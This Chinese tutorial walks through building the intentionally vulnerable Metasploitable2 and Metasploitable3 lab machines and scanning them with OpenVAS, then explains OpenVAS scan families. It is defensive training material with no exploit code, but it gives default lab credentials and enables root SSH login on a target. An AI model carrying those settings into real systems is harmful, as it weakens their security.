  1. 可以发现此靶机的内核版本为2.6.24-16-server:
    在这里插入图片描述

  2. 然后查看此靶机的系统版本:

$ lsb_release -a
  1. 可以发现此靶机的系统版本为Ubuntu 8.04:
    在这里插入图片描述

  2. 然后使用ifconfig命令查看当前系统的IP地址,并记录此IP地址:
    在这里插入图片描述

  3. 此时,Metasploitable2靶机环境就已经部署完毕了,下面我们就要使用OpenVAS对此靶机进行漏洞扫描了

3.2.2、漏洞验证

  1. 当我们部署好Metasploitable2靶机环境后,就可以使用使用OpenVAS对此靶机进行漏洞扫描了。我们首先使用如下命令在部署了OpenVAS工具的虚拟机上启动Greenbone Security Assistant:
$ xdg-open "http://127.0.0.1:9392" 2>/dev/null >/dev/null &
  1. 因为之前对于Greenbone Security Assistant的介绍已经很详细了,所以我们在这里使用的时候就不会像之前那样详细的介绍了。我们首先创建扫描目标,在创建扫描目标的时候要注意设置扫描目标的IP地址为刚刚保存的Metasploitable2靶机的IP地址。其余和之前介绍的一样配置,或者说使用默认配置即可:
    在这里插入图片描述

  2. 并且由于Metasploitable2靶机有用户名和密码,所以我们需要设置使用之前保存的用户名和密码进行SSH连接。其余和之前介绍的一样配置,或者说使用默认配置即可:
    在这里插入图片描述

  3. 然后为我们刚刚创建的扫描目标新建一个扫描任务。创建新的扫描任务的过程和之前介绍的一样,我们在此不再赘述,只是需要将扫描的目标设置为我们刚刚创建好的扫描目标:
    在这里插入图片描述

  4. 然后启动扫描,扫描成功结束后我们查看扫描结果。启动扫描和查看扫描结果的过程和之前介绍的一样,我们在此不再赘述。可以发现我们成功的扫描到了Metasploitable2靶机的漏洞:
    在这里插入图片描述

  5. 我们还可以按照之前介绍的方法对此次漏洞扫描结果进行PDF格式的文件的下载,并打开下载好的PDF格式的文件。可以发现,此PDF格式的文件就保存了我们此次漏洞扫描扫描到的所有漏洞信息,我们就可以根据此文件中的内容对这些漏洞进行更深层次的分析:
    在这里插入图片描述

3.3、对Metasploitable3靶机进行测试

  Metasploitable3是Metasploitable2的升级版本,它是一个虚拟靶机系统,里面含有大量未被修复的安全漏洞,它主要是用于metasploit-framework测试的漏洞目标。众所周知Metasploitable2由于年久失修,被更好的Metasploitable3给取代了。但是rapid7(官方)这次却没有提供VM镜像,而是仅仅提供动态构建VM镜像的方法(之前的Metasploitable2提供的是VM快照文件)。这使得维护和更新变得非常麻烦,因此Metasploitable3利用动态构建的方法来让用户自行创建VM镜像。这种新的构建方法有很多好处,比如我们可以轻松地在多个操作系统上应用相同的漏洞利用,并且为多个虚拟化平台构建,最重要的是,可以接受社区的贡献。
  此外,还有一点很重要。目前Metasploitable3靶机提供了Ubuntu 14.04(64 bits)版本的系统和Windows 2008(64bits)版本的系统,用户可以根据自己的需求选择不同的靶机系统,我们会将这两种系统的靶机全部都部署并检测。
我们在本章节将会部署Metasploitable3靶机环境,并使用OpenVAS工具对Metasploitable2靶机中的漏洞进行检测。  Metasploitable3靶机环境的部署比Metasploitable2靶机环境的部署要复杂,所以请各位读者一定要仔细按照我的操作进行Metasploitable3靶机环境的部署。下面就正式开始本章节所要介绍的具体内容。
  还有一点需要强调,Metasploitable3部署在VMware Pro 17的虚拟机上,也就是说Metasploitable3部署的环境与OpenVAS部署的环境一致,关于OpenVAS部署的环境细节可参考“2、安装与使用”章节。关于Metasploitable3靶机环境的层次结构图如下图所示。
在这里插入图片描述

3.3.1、部署Metasploitable3靶机环境

3.3.1.1、准备工作
  1. 我们首先使用如下命令查看当前系统的版本:
$ lsb_release -a
  1. 可以发现当前系统的版本为Ubuntu 22.04.1 LTS:
    在这里插入图片描述

  2. 然后查看当前系统的内核版本:

$ uname -r
  1. 可以发现当前系统的内核版本为5.15.0-43-generic:
    在这里插入图片描述

  2. 然后打开Ubuntu的终端来下载安装Vagrant:

$ sudo apt-get install vagrant

       在这里简单介绍一下Vagrant。Vagrant是一种用于构建和管理虚拟化开发的开源工具。它旨在帮助开发人员创建一致性的开发环境,以便开发、测试和部署软件应用程序。Vagrant可以与各种虚拟化和云提供商集成,包括VirtualBox、VMware和Docker等,使用户能够轻松地创建虚拟机或容器,然后配置和管理它们。Vagrant的主要特点包括:

  • 跨平台性:Vagrant支持多种操作系统,包括Windows、macOS和各种Linux发行版
  • 简化环境配置:它使用文本文件来定义虚拟机或容器的配置,这些文件通常称为“Vagrantfile”,这使得环境配置变得容易且可重复
  • 自动化:Vagrant可以自动下载操作系统镜像、设置网络、配置共享文件夹等,以便快速创建一致的开发环境
  • 插件生态系统:Vagrant具有丰富的插件生态系统,可以拓展其功能,以满足特定需求

       总之,Vagrant是一个非常有用的工具,特别适合开发团队协作,以确保每个开发人员都在相同的环境中工作。它也可以用于本地开发和测试,以便在不同环境之间轻松迁移应用程序。我们后面就使用Vagrant构建Metasploitable3的虚拟机靶机环境。

  1. 然后使用如下命令来查看安装的Vagrant的版本:
$ vagrant --version
  1. 可以发现当前的Vagrant的版本为2.2.19:
    在这里插入图片描述

  2. 然后下载安装Vagrant的相关插件:

$ vagrant plugin install winrm winrm-fs vagrant-vbguest winrm-elevated vagrant-reload

       在这里介绍一下在上面下载安装的这些Vagrant的相关插件:

  • winrm:winrm是Windows远程管理服务(Windows Remote Management)的缩写,它是一种Microsoft开发的远程管理协议,用于在Windows操作系统上进行远程管理和执行操作。与SSH在Linux和Unix系统上的作用类似,winrm允许管理员在Windows主机上执行各种管理任务,如执行命令、脚本和配置管理等,而不必物理访问机器
  • winrm-fs:winrm-fs用于在Windows虚拟上通过winrm执行文件传输任务
  • vagrant-vbguest:vagrant-vbguest:用于在VirtualBox虚拟机中管理VirtualBox Guest Additions的安装和更新。VirtualBox Guest Additions是一个重要的工具集,它增强了虚拟机的性能和功能,包括共享文件夹、剪切板共享、更好的显示适配性以及其它集成功能
  • winrm-elevated:winrm-elevated用于在Windows虚拟机上执行以管理员权限运行的Provisioner(配置管理工具)。Provisioner用于自动化配置虚拟机、安装软件和执行其它任务
  • vagrant-reload:vagrant-reload用于在虚拟机中执行重启启动(reload)操作。虚拟机的重新启动是指关闭虚拟机然后再次启动它,类似于物理计算机的重启操作
  1. 我们可以使用如下命令来查看这些插件是否安装成功和其版本号:
$ vagrant plugin list
  1. 可以发现这些插件都已经成功安装了,还可以看到它们的版本号:
    在这里插入图片描述

  2. 然后下载安装VirtualBox和QEMU-KVM:

$ sudo apt install virtualbox qemu-kvm

       在这里介绍一下上面下载安装的VirtualBox和QEMU-KVM:

  • VirtualBox:VirtualBox(Oracle VM VirtualBox)是一款免费且开源的虚拟化软件,由甲骨文(Oracle)公司开发和维护。它允许用户在单个物理计算机上创建和运行多个虚拟机(虚拟操作系统),每个虚拟机可以运行不同的操作系统,如各种版本的Windows、Linux、macOS和更多
  • QEMU-KVM:QEMU-KVM(Kernel-based Virtual Machine)是一个开源的虚拟化解决方案,它结合了两个主要组件:QEMU(Quick Emulator)和Linux内核的虚拟化模块(通常为KVM)。这个组合允许在Linux操作系统上实现硬件虚拟化,使其能够运行虚拟机
  1. 然后下载安装Packer:
$ cd ~
$ wget https://releases.hashicorp.com/packer/1.8.0/packer_1.8.0_linux_amd64.zip
$ unzip packer_1.8.0_linux_amd64.zip
$ sudo mv packer /usr/local/bin/

       在这里介绍一下上面下载安装的Packer。Packer是一个开源工具,用于自动化地创建预配置的虚拟机镜像和容器镜像。它支持多种虚拟化和容器平台,并能够通过脚本化和配置文件定义来实现镜像的自动化构建过程。Packer使得构建、测试和部署镜像变得更加简单和可靠,提高了基础设施的可管理性和可重现性。
13. 然后使用如下命令查看Packer是否安装成功:

$ packer
  1. 出现如下图所示的内容,即代表Packer安装成功:
    在这里插入图片描述
3.3.1.2、构建靶机环境
  1. 当我们做完以上准备工作后,就可以开始构建Metasploitable3靶机环境了。我们首先来到系统主目录,然后创建一个新目录,并进入此目录中:
$ cd ~
$ mkdir metasploitable3-workspace
$ cd metasploitable3-workspace/
  1. 然后下载构建脚本:
$ curl -O https://raw.githubusercontent.com/rapid7/metasploitable3/master/Vagrantfile
  1. 然后利用刚刚下载好的构建脚本对靶机进行构建:
$ vagrant up
  1. 当出现如下图所示的内容时,就代表Metasploitable3靶机环境已经构建成功了:
    在这里插入图片描述

  2. 然后我们打开之前安装好的VirtualBox 6.1.38:
    在这里插入图片描述

  3. 可以发现Ubuntu 14.04(64 bits)系统版本的Metasploitable3靶机环境和Windows 2008(64bits)系统版本的Metasploitable3靶机环境都已经部署好了。我们不要关闭这两个靶机虚拟机,因为后面的章节马上就会用到。当然也可以将其关闭等后续使用,下次时候的时候再打开就可以了:
    在这里插入图片描述

   注:实际执行中遇到的问题及解决方法

  • 问题1:

    1. 在步骤3构建靶机的时候,可能会出现类似如下图的问题:
      在这里插入图片描述

    2. 出现这个问题时因为我们下载的构建脚本(即“Vagrantfile”文件)中配置的IP地址(即172.28.128.3)不在允许的范围内,而且上图的报错信息也提示我们正确的范围了(即192.168.56.0~192.168.63.255),所以我们只需要将构建脚本对应位置关于IP地址的配置修改为正确范围内的IP地址。故修改对应脚本,只需要执行$ sudo gedit ./Vagrantfile命令来对齐进行编辑即可

    3. 按照如下图红箭头和红框处修改,其实改成其它数字也行,只是需要注意要修改为在报错信息提示的合法的范围内:
      在这里插入图片描述

    4. 到此,我们的问题就解决了,我们只需要回到步骤3重新继续向下操作即可

  • 问题2:

    1. 在步骤3构建靶机的时候,可能会出现类似如下图的问题:
      在这里插入图片描述

    2. 出现这个问题是因为我们当前的主机(我使用的是VMware虚拟机)没有开启虚拟化,这个问题也很好解决。首先关闭当前主机,只需要执行$ sudo shutdown -h now命令即可。

    3. 然后配置此虚拟机:
      在这里插入图片描述

    4. 然后按照下图顺序选择,目的是开启当前虚拟主机的虚拟化服务:
      在这里插入图片描述

    5. 然后再次打开虚拟机:
      在这里插入图片描述

  1. 虚拟机开启后,进入之前我们创建的目录。此时我们就解决这个问题了,现在只需要回到步骤3重新继续向下操作即可:
$ cd /home/iie-iisd/metasploitable3-workspace/
  • 问题3:

    1. 在步骤3构建靶机的时候,可能会出现类似如下图的问题:
      在这里插入图片描述

    2. 出现此问题是因为libvirt默认作为Vagrant的虚拟化提供者,而我们又没有配置libvirt,所以Vagrant就找不到它的虚拟化提供者,从而会报错。虽然我们没有配置libvirt,但是我们配置了VirtualBox,它同样可以作为Vagrant的虚拟化提供者使用,所以我们只需要执行$ vagrant up --provider virtualbox命令,让Vagrant在构建靶机虚拟机的时候,使用VirtualBox作为其虚拟化提供者。这样我们就解决了这个问题,我们只需要回到步骤4继续向下操作即可

  • 问题4:

    1. 在步骤3构建靶机的时候,可能会出现类似如下图的问题:
      在这里插入图片描述

    2. 经过查阅资料,出现此问题是因为我们之前安装的Vagrant版本版本太低(我们安装的Vagrant的版本为2.2.19),而此问题在高版本的2.3.8以后版本的Vagrant中已经被修复了,所以我们首先卸载之前安装过的关于Vagrant的各种插件:

$ vagrant plugin uninstall winrm
$ vagrant plugin uninstall winrm-fs
$ vagrant plugin uninstall vagrant-vbguest
$ vagrant plugin uninstall winrm-elevated
$ vagrant plugin uninstall vagrant-reload

          3. 然后卸载之前安装的Vagrant:

$ sudo apt-get remove vagrant

          4. 然后在系统主目录中下载2.3.8版本的Vagrant的安装包,并将其安装:

$ cd ~
$ wget https://github.com/hashicorp/vagrant/releases/download/2.3.8.dev%2B000032-f72cda8b/vagrant_2.3.8.dev-1_amd64.deb
$ sudo dpkg -i vagrant_2.3.8.dev-1_amd64.deb

          5. 安装完成后我们使用如下命令来查看当前的Vagrant的版本:

$ vagrant --version

          6. 可以发现,当前Vagrant的版本已经被我们更新到2.3.8了:
在这里插入图片描述

          7. 然后重新下载安装当前的Vagrant版本对应的我们需要的各种插件:

$ vagrant plugin install winrm winrm-fs vagrant-vbguest winrm-elevated vagrant-reload

          8. 出现如下图所示的界面,即代表这些插件安装成功:
在这里插入图片描述

          9. 到此,我们就解决了这个问题,现在只需要回到步骤3重新继续向下操作即可

  • 问题5:
    1. 在步骤3构建靶机的时候,可能会出现类似如下图红箭头和红框处的问题:
      在这里插入图片描述

    2. 其实出现这个问题的原因上图中已经告诉我们了,就是因为Guest Additions的版本为6.0.8,而我们的VirtualBox版本为6.1,很明显版本不匹配,所以会在卸载VirtualBox Guest Additions相关的磁盘映像时出现这个问题。我们先介绍一下VirtualBox Guest Additions,VirtualBox Guest Additions与VMware Tools类似。它们都是为虚拟机提供增强功能和更好集成的软件套件。VMware Tools是VMware虚拟化平台的组成部分,而VirtualBox Guest Additions是VirtualBox的组成部分。这两者的共同目标是提高虚拟机的性能和用户体验,包括图形加速、鼠标和键盘集成、共享剪贴板、共享文件夹、自动屏幕调整等功能。虽然它们在不同的虚拟化平台上工作,但其核心概念是相似的。其实这个问题我们可以忽略,因为VirtualBox Guest Additions我们也用不到。而且出现这个问题也恰恰说明我们的靶机虚拟机已经构建完毕了,所以我们不需要在意这个问题

    3. 如果读者非要解决这个问题也可以,只需要下载安装6.0.8版本的VirtualBox即可,不过由于我目前使用的Ubuntu版本为22.04.1,而此版本的Ubuntu系统已经不支持6.0.8版本的VirtualBox了,并且由于此问题对我们后续的操作没有任何影响,所以我就不更换了,如果读者感兴趣可以自行更换,或者如果后面有需求,我会将更换6.0.8版本的VirtualBox的方法添加到文档中

    4. 其实我们不用纠结这个问题,因为我们换一个低版本的Ubuntu就没有任何问题了,但是由于OpenVAS目前只能部署在22.04.1版本的Ubuntu上,而如果不把OpenVAS和Metasploitable3部署在同一台虚拟机(主机)中,就无法进行漏洞检测,所以我们就没有通过更换Ubuntu的系统来解决这个问题。总之,此问题对我们后续的所有操作没有任何影响,我们忽略此问题即可

    5. 根据以上分析,我们现在只需要回到步骤4继续向下操作即可

3.3.2、漏洞验证

3.3.2.1、验证Ubuntu版本的Metasploitable3靶机漏洞
  1. 首先打开在3.3.1节中部署好的Ubuntu 14.04(64 bits)系统版本的Metasploitable3靶机环境:
    在这里插入图片描述

  2. 在这里需要输入用户名和密码才能进入系统。此Ubuntu 14.04(64 bits)系统版本的Metasploitable3靶机系统的默认的用户名和密码分别为vagrantvagrant:分别输入用户名和密码后按回车即可进入系统:
    在这里插入图片描述

  3. 我们首先使用如下命令查看当前系统的版本:

$ lsb_release -a
  1. 可以发现当前系统的版本为Ubuntu 14.04 LTS:
    在这里插入图片描述

  2. 然后查看当前系统的内核版本:

$ uname -r
  1. 可以发现当前系统的内核版本为3.13.0-24-generic:
    在这里插入图片描述

  2. 然后使用ifconfig命令查看当前系统的IP地址,并记录此IP地址,因为后面会用到:
    在这里插入图片描述

  3. 当我们做完以上操作后,就可以使用使用OpenVAS对此靶机进行漏洞扫描了。我们首先使用如下命令在部署了OpenVAS工具的虚拟机上启动Greenbone Security Assistant:

$ xdg-open "http://127.0.0.1:9392" 2>/dev/null >/dev/null &
  1. 因为之前对于Greenbone Security Assistant的介绍已经很详细了,所以我们在这里使用的时候就不会像之前那样详细的介绍了。我们首先创建扫描目标,在创建扫描目标的时候要注意设置扫描目标的IP地址为刚刚保存的Ubuntu 14.04(64 bits)系统版本的Metasploitable3靶机系统的IP地址。其余和之前介绍的一样配置,或者说使用默认配置即可:
    在这里插入图片描述

  2. 并且由于此靶机有用户名和密码,所以我们需要设置使用之前保存的用户名和密码进行SSH连接。其余和之前介绍的一样配置,或者说使用默认配置即可:
    在这里插入图片描述

  3. 然后为我们刚刚创建的扫描目标新建一个扫描任务。创建新的扫描任务的过程和之前介绍的一样,我们在此不再赘述,只是需要将扫描的目标设置为我们刚刚创建好的扫描目标:
    在这里插入图片描述

  4. 然后启动扫描,扫描成功结束后我们查看扫描结果。启动扫描和查看扫描结果的过程和之前介绍的一样,我们在此不再赘述。可以发现我们成功的扫描到了此靶机的漏洞:
    在这里插入图片描述
    这里需要说明一下。对此靶机我们只扫描到了一个漏洞,这显然不太正常,目前的猜测是因为SSH连接有问题(具体问题见本章节的“注:实际执行中遇到的问题及解决办法”,不过我们现在猜测可能是此靶机做了一些类似于拒绝服务攻击的配置,因为它毕竟是一个靶机,做这些配置也很正常。这也仅仅是猜测,具体是因为什么,后面还要继续研究)。目前针对此问题还没想到好的解决办法,如若之后找到了此问题对应的解决方法,会将其更新到此文档中。

  5. 我们还可以按照之前介绍的方法对此次漏洞扫描结果进行PDF格式的文件的下载,并打开下载好的PDF格式的文件。可以发现,此PDF格式的文件就保存了我们此次漏洞扫描扫描到的所有漏洞信息,我们就可以根据此文件中的内容对这些漏洞进行更深层次的分析:
    在这里插入图片描述

注:实际执行中遇到的问题及解决方法

  • 问题1:
    1. 在步骤8对目标靶机扫描漏洞的时候,可能会出现类似如下图的问题,即扫描结果为空。这并不是说明我们的靶机没有漏洞,而是因为SSH连接出现了问题:
      在这里插入图片描述

    2. 为了解决这个问题,我们首先在主机中对靶机进行SSH连接测试:

$ ssh vagrant@192.168.56.1

          3. 然后这里提示我们,主机的密钥验证失败:
在这里插入图片描述

          4. 那我们就删除旧的SSH主机的密钥记录,以防止旧的SSH主机的密钥记录对下一次的SSH连接造成影响:

$ sudo ssh-keygen -R vagrant@192.168.56.1

          5. 然后我们再次在主机中对靶机进行SSH连接测试:

$ ssh vagrant@192.168.56.1

          6. 然后这里又提示我们权限被拒绝:
在这里插入图片描述

          7. 这是因为我们没有设置靶机允许root用户登录,我们只需要来到靶机中,对其进行设置即可:

$ apt-get install vim
$ sudo vim /etc/ssh/sshd_config

          8. 我们只需要按照如下图所示进行修改即可:
在这里插入图片描述

          9. 保存以上修改并退出,然后重启靶机的SSH服务:

$ sudo service ssh restart

          10. 然后来到主机中再次对靶机进行SSH连接测试:

$ ssh vagrant@192.168.56.1

          11. 这里还是提示我们权限被拒绝:
在这里插入图片描述

          12. 那我们就有理由相信这台靶机存在类似于拒绝服务攻击的问题,因为它毕竟是一台靶机,所以我们暂时也想不到好的办法对其进行SSH连接,故现阶段放弃,如果后面找到了解决办法,我们会将其更新到此文档中

3.3.2.2、验证Windows版本的Metasploitable3靶机漏洞
  1. 首先打开在“3.3.1、部署Metasploitable3靶机环境”章节中部署好的Windows 2008(64bits)系统版本的Metasploitable3靶机环境:
    在这里插入图片描述

  2. 根据提示,同时按住CTRL、ALT和DELETE键就会来到如下图所示的界面,我们点击名为“vagrant”的用户:
    在这里插入图片描述

  3. 在这里需要输入用户名和密码才能进入系统。此Windows 2008(64bits)系统版本的Metasploitable3靶机系统的默认的用户名的密码为vagrant:输入密码后按回车即可进入系统。进入系统后提示我们激活此系统,我们并不需要激活此系统,所以选择稍后询问即可:
    在这里插入图片描述

  4. 然后会出现如下图所示的界面,点击“OK”即可:
    在这里插入图片描述

  5. 然后回来到如下图所示的界面,我们将这些乱七八糟的应用全部关闭即可:
    在这里插入图片描述

  6. 然后打开终端,并使用如下命令查看当前系统的版本:

> winver
  1. 可以发现当前系统的版本为Microsoft Windows Server 2008 R2 Standard:
    在这里插入图片描述

  2. 然后查看当前系统的内核版本:

> winver
  1. 可以发现当前系统的内核版本为6.1.7601 Service Pack 1 Build 7601:
    在这里插入图片描述

  2. 然后使用ipconfig命令查看当前系统的IP地址,并记录此IP地址,因为后面会用到:
    在这里插入图片描述

  3. 当我们做完以上操作后,就可以使用使用OpenVAS对此靶机进行漏洞扫描了。我们首先使用如下命令在部署了OpenVAS工具的虚拟机上启动Greenbone Security Assistant:

$ xdg-open "http://127.0.0.1:9392" 2>/dev/null >/dev/null &
  1. 因为之前对于Greenbone Security Assistant的介绍已经很详细了,所以我们在这里使用的时候就不会像之前那样详细的介绍了。我们首先创建扫描目标,在创建扫描目标的时候要注意设置扫描目标的IP地址为刚刚保存的Ubuntu 14.04(64 bits)系统版本的Metasploitable3靶机系统的IP地址。其余和之前介绍的一样配置,或者说使用默认配置即可:
    在这里插入图片描述

  2. 并且由于此靶机有用户名和密码,所以我们需要设置使用之前保存的用户名和密码进行SSH连接。其余和之前介绍的一样配置,或者说使用默认配置即可:
    在这里插入图片描述

  3. 然后为我们刚刚创建的扫描目标新建一个扫描任务。创建新的扫描任务的过程和之前介绍的一样,我们在此不再赘述,只是需要将扫描的目标设置为我们刚刚创建好的扫描目标:
    在这里插入图片描述

  4. 然后启动扫描,扫描成功结束后我们查看扫描结果。启动扫描和查看扫描结果的过程和之前介绍的一样,我们在此不再赘述。可以发现我们成功的扫描到了此靶机的漏洞:
    在这里插入图片描述

  5. 我们还可以按照之前介绍的方法对此次漏洞扫描结果进行PDF格式的文件的下载,并打开下载好的PDF格式的文件。可以发现,此PDF格式的文件就保存了我们此次漏洞扫描扫描到的所有漏洞信息,我们就可以根据此文件中的内容对这些漏洞进行更深层次的分析:
    在这里插入图片描述

4、OpenVAS的Family和NVT

  在本章节中我们将会介绍关于OpenVAS工具的扫描策略中的Family和NVT。因为Family和NVT的关联性非常强,所以安排在同一章中进行学习,不过会被分为各自的小节。此章节内容难度较大,同时也是我们自定义OpenVAS扫描漏洞的类型以及策略的基础,故此章节篇幅会较长。下面就正式开始本章节的具体学习。

4.1、OpenVAS的Family

  在介绍关于OpenVAS工具的Family的具体内容之前,我们先启动Greenbone Security Assistant,然后依次选择“Configuration->Scan Configs”后,就会来到如下图所示的界面:
在这里插入图片描述

  其实之前已经对此页面的内容详细的分析过了,我们已经清楚此页面就是OpenVAS工具的所有扫描策略。不知道读者想没想过一个问题,这些扫描策略究竟是什么呢?为什么有这么多种扫描策略呢?这些扫描策略究竟会对我们的扫描结果产生什么影响呢?下面我们就来一探究竟。我们首先随便选择一个扫描策略,然后点击它的修改图标:
在这里插入图片描述

  之后,会打开一个名为“Edit Scan Config Base”的页面,在这个页面中,我们首先关注其名为“Family”的一列和右上角的红箭头和红框处的“58”。可以发现,这里就是我们要找的Family,在“Family”这一列下面有很多名词,这些名词其实就是OpenVAS可以检测到的漏洞的类型(后面我们会依次介绍这些漏洞类型),所以说,OpenVAS的Family实际就是OpenVAS可以检测到的漏洞的类型,我们就可以通过对Family的修改以检测不同类型的漏洞。此外,还有刚刚提到的“58”,这个“58”实际就是告诉我们“Family”这一列一共有58个数据,换句话说,就是告诉我们OpenVAS可以检测58种不同类型的漏洞。
在这里插入图片描述

  下面我们就对上图中展示的OpenVAS功能可以扫描到的所有58种类型的漏洞进行介绍。需要注意的是,这里有些Family只是代表了某一类漏洞,比如“Windows”就代表是Windows系统下的漏洞,至于这里面具体是什么类型的漏洞在这里并没有展示,如果需要搞清楚究竟是什么类型的具体漏洞,需要后续分析NVT,不过这里的NVT实在是太多了,我们无法一一分类,所以在这里我们只通过“Family”列的这58种漏洞类型大致了解一下OpenVAS究竟可以扫描哪些类型或对哪些系统/应用程序/Web等的漏洞:

  1. AIX Local Security Checks:是指在AIX(IBM的一种UNIX操作系统)上执行本地安全检查。这表明OpenVAS工具可以对操作系统进行漏洞扫描
  2. Amazon Linux Local Security Checks:是指在Amazon Linux操作系统上的本地安全检查。Amazon Linux是由亚马逊Web服务(AWS)开发的Linux发行版,专门用于在AWS云环境中运行。这表明OpenVAS工具可以对操作系统进行漏洞扫描
  3. Brute force attacks:是指暴力破解攻击,暴力破解攻击是一种网络安全攻击,攻击者试图通过系统地尝试所有可能的用户名和密码组合来获取未经授权的系统或账户访问权限。这种攻击方法基于一个假设,即如果尝试的可能性足够多,最终将猜测到正确的组合。这表明OpenVAS工具可以对Web进行漏洞扫描
  4. Buffer overflow:这是指缓冲区溢出(Buffer Overflow),缓冲区溢出是一种计算机安全漏洞和攻击类型,通常发生在程序的输入数据不受限制地写入内存缓冲区时。攻击者可能会利用这种漏洞覆盖应用程序内存中的关键数据,例如程序计数器、栈和堆等,从而执行恶意代码或者引发应用程序的异常。这表明OpenVAS工具可以对应用程序进行漏洞扫描
  5. CentOS Local Security Checks:是指在CentOS操作系统上执行本地安全检查。这表明OpenVAS工具可以对操作系统进行漏洞扫描
  6. CISCO:是指对思科(Cisco Systems)公司的应用程序进行安全检查。这表明OpenVAS工具可以对应用程序进行漏洞扫描
  7. Citrix Xenserver Local Security Checks:是指在Citrix Xenserver上执行本地安全检查。Citrix Xenserver是一款由Citrix Systems开发的虚拟化平台,它允许用户在物理硬件上运行多个虚拟机。与其它虚拟化平台类似。这表明OpenVAS工具可以对应用程序进行漏洞扫描
  8. Compliance:是指对操作系统和应用程序进行合规性检查。这表明OpenVAS工具可以对操作系统和应用程序进行漏洞扫描
  9. Databases:是指对数据库执行安全检查。这表明OpenVAS工具可以对应用程序进行漏洞扫描
  10. Debian Local Security Checks:是指在Debian操作系统上执行本地安全检查。这表明OpenVAS工具可以对操作系统进行漏洞扫描
  11. Default Accounts:Default Accounts指的是在计算机系统、应用程序或设备中默认存在的、通常是由制造商或开发者提供的账户。这些账户通常具有已知的用户名和密码,通常用于设备或应用程序的初始设置和访问。然而,这些默认账户也可能会构成安全风险,因为攻击者可以尝试使用已知的默认凭据来访问系统或设备,从而获取未经授权的访问权。在这里是指使用OpenVAS对这些默认账户执行安全检查。这表明OpenVAS工具可以对操作系统和应用程序进行漏洞扫描
  12. Denial of Service:这是指拒绝服务(DoS),拒绝服务是一种网络或计算机安全攻击,其目的是使目标系统或网络资源不可用,从而阻止合法用户访问这些资源。这种攻击通过各种手段,如超载目标系统、服务或网络,以使其无法正常工作。DoS攻击可能导致系统崩溃、停机、性能下降,甚至导致数据丢失。在这里是指OpenVAS可以对DoS攻击进行有效的扫描。这表明OpenVAS工具可以对Web进行漏洞扫描
  13. F5 Local Security Checks:F5是一家知名的应用交付和应用安全技术提供商,其产品和解决方案用于帮助组织确保其应用程序在网络上以安全和高效的方式交付给用户。F5的产品涵盖了负载均衡、应用交付控制、Web应用安全、DDoS防护等多个领域。在这里是指对F5供应商的产品执行安装检查。这表明OpenVAS工具可以对Web进行漏洞扫描
  14. Fedora Local Security Checks:是指在Fedora操作系统上执行本地安全检查。这表明OpenVAS工具可以对操作系统进行漏洞扫描
  15. FortiOS Local Security Checks:是指在FortiOS操作系统上执行本地安全检查。这表明OpenVAS工具可以对操作系统进行漏洞扫描
  16. FreeBSD Local Security Checks:是指在FreeBSD操作系统上执行本地安全检查。这表明OpenVAS工具可以对操作系统进行漏洞扫描
  17. FTP:FTP(File Transfer Protocol)是一种用于在计算机之间传输文件的标准网络协议。它允许用户从一个计算机(FTP客户端)向另一个计算机(FTP服务器)发送和接收文件。FTP是因特网中用于文件传输的一种常见协议,通常用于从本地计算机上传文件到Web服务器,或从服务器下载文件到本地计算机。在这里是指可以使用OpenVAS对FTP协议执行安全检查。这表明OpenVAS工具可以对协议进行漏洞扫描
  18. Gain a shell remotely:Gain a shell remotely是指远程获取Shell,这是指黑客通过不同的方法成功获取对远程计算机系统的未授权访问,并在该系统上实现对Shell会话的控制。这表明OpenVAS工具可以对Web进行漏洞扫描
  19. General:这是指OpenVAS可以对一些通用的漏洞进行扫描,至于是什么漏洞,这里并没有明显的展示出来,不过可以通过查看此Family对应的NVT进行判断,我们在这里就不深入查看此Family对应的NVT了
  20. Gentoo Local Security Checks:是指在Gentoo操作系统上执行本地安全检查。这表明OpenVAS工具可以对操作系统进行漏洞扫描
  21. HP-UX Local Security Checks:是指在HP-UX操作系统上执行本地安全检查。这表明OpenVAS工具可以对操作系统进行漏洞扫描
  22. Huawei:是指对华为公司的应用程序和网络服务进行执行安全检查。这表明OpenVAS工具可以对应用程序和Web进行漏洞扫描
  23. Huawei EulerOS Local Security Checks:是指在华为公司的EulerOS操作系统上执行本地安全检查。这表明OpenVAS工具可以对操作系统进行漏洞扫描
  24. IT-Grundschutz:IT-Grundschutz是德国联邦信息安全办公室(Bundesamt für Sicherheit in der Informationstechnik,简称 BSI)开发的一种信息安全管理方法和标准。这个标准旨在帮助组织有效地管理和改进其信息安全措施。这里表示OpenVAS可以按照IT-Grundschutz的方法和标准进行安全检查,这里并没有针对某一类具体的漏洞类型,而是一种方法和标准
  25. IT-Grundschutz-15:IT-Grundschutz-15是指 IT-Grundschutz(德国联邦信息安全办公室开发的信息安全标准)的第15版或第15版的更新。IT-Grundschutz标准是一个用于管理和提高信息安全的框架,已经经历了多次修订和更新,以适应不断演变的信息安全威胁和技术趋势。这里表示OpenVAS可以按照IT-Grundschutz-15的方法和标准进行安全检查,这里并没有针对某一类具体的漏洞类型,而是一种方法和标准
  26. IT-Grundschutz-deprecated:IT-Grundschutz-deprecated是指与 IT-Grundschutz(德国联邦信息安全办公室开发的信息安全标准)相关的内容、标准、措施或建议已经被废弃或不再推荐使用。这通常是因为相关的信息安全威胁、技术或法规发生了变化,需要更新或替代原有的标准和措施。这里表示OpenVAS可以按照IT-Grundschutz-deprecated的方法和标准进行安全检查,这里并没有针对某一类具体的漏洞类型,而是一种方法和标准
  27. JunOS Local Security Checks:是指在JunOS操作系统上执行本地安全检查。这表明OpenVAS工具可以对操作系统进行漏洞扫描
  28. Mac OS X Local Security Checks:是指在MacOS操作系统上执行本地安全检查。这表明OpenVAS工具可以对操作系统进行漏洞扫描
  29. Mageia Linux Local Security Checks:是指在Mageia Linux操作系统上执行本地安全检查。这表明OpenVAS工具可以对操作系统进行漏洞扫描
  30. Malware:恶意软件(Malware)是一种恶意设计和用于对计算机系统、网络和用户造成伤害或不法行为的软件。这些恶意软件的目标通常是窃取敏感信息、破坏数据、滥用系统资源,或进行其他危害性行为。这表明OpenVAS工具可以对应用程序进行漏洞扫描
  31. Mandrake Local Security Checks:是指在Mandrake Linux操作系统上执行本地安全检查。这表明OpenVAS工具可以对操作系统进行漏洞扫描
  32. Nmap NSE:Nmap NSE(Nmap Scripting Engine)是Nmap(网络映射器)的一个功能,它允许用户编写和执行自定义脚本以扩展Nmap的功能。Nmap本身是一个强大的网络扫描工具,用于发现主机、开放端口和服务,识别操作系统和进行许多其他与网络安全和映射相关的任务。而Nmap NSE则允许用户在扫描目标主机时运行脚本,以执行各种自定义任务和测试。这表明OpenVAS工具可以对应用程序和Web进行漏洞扫描
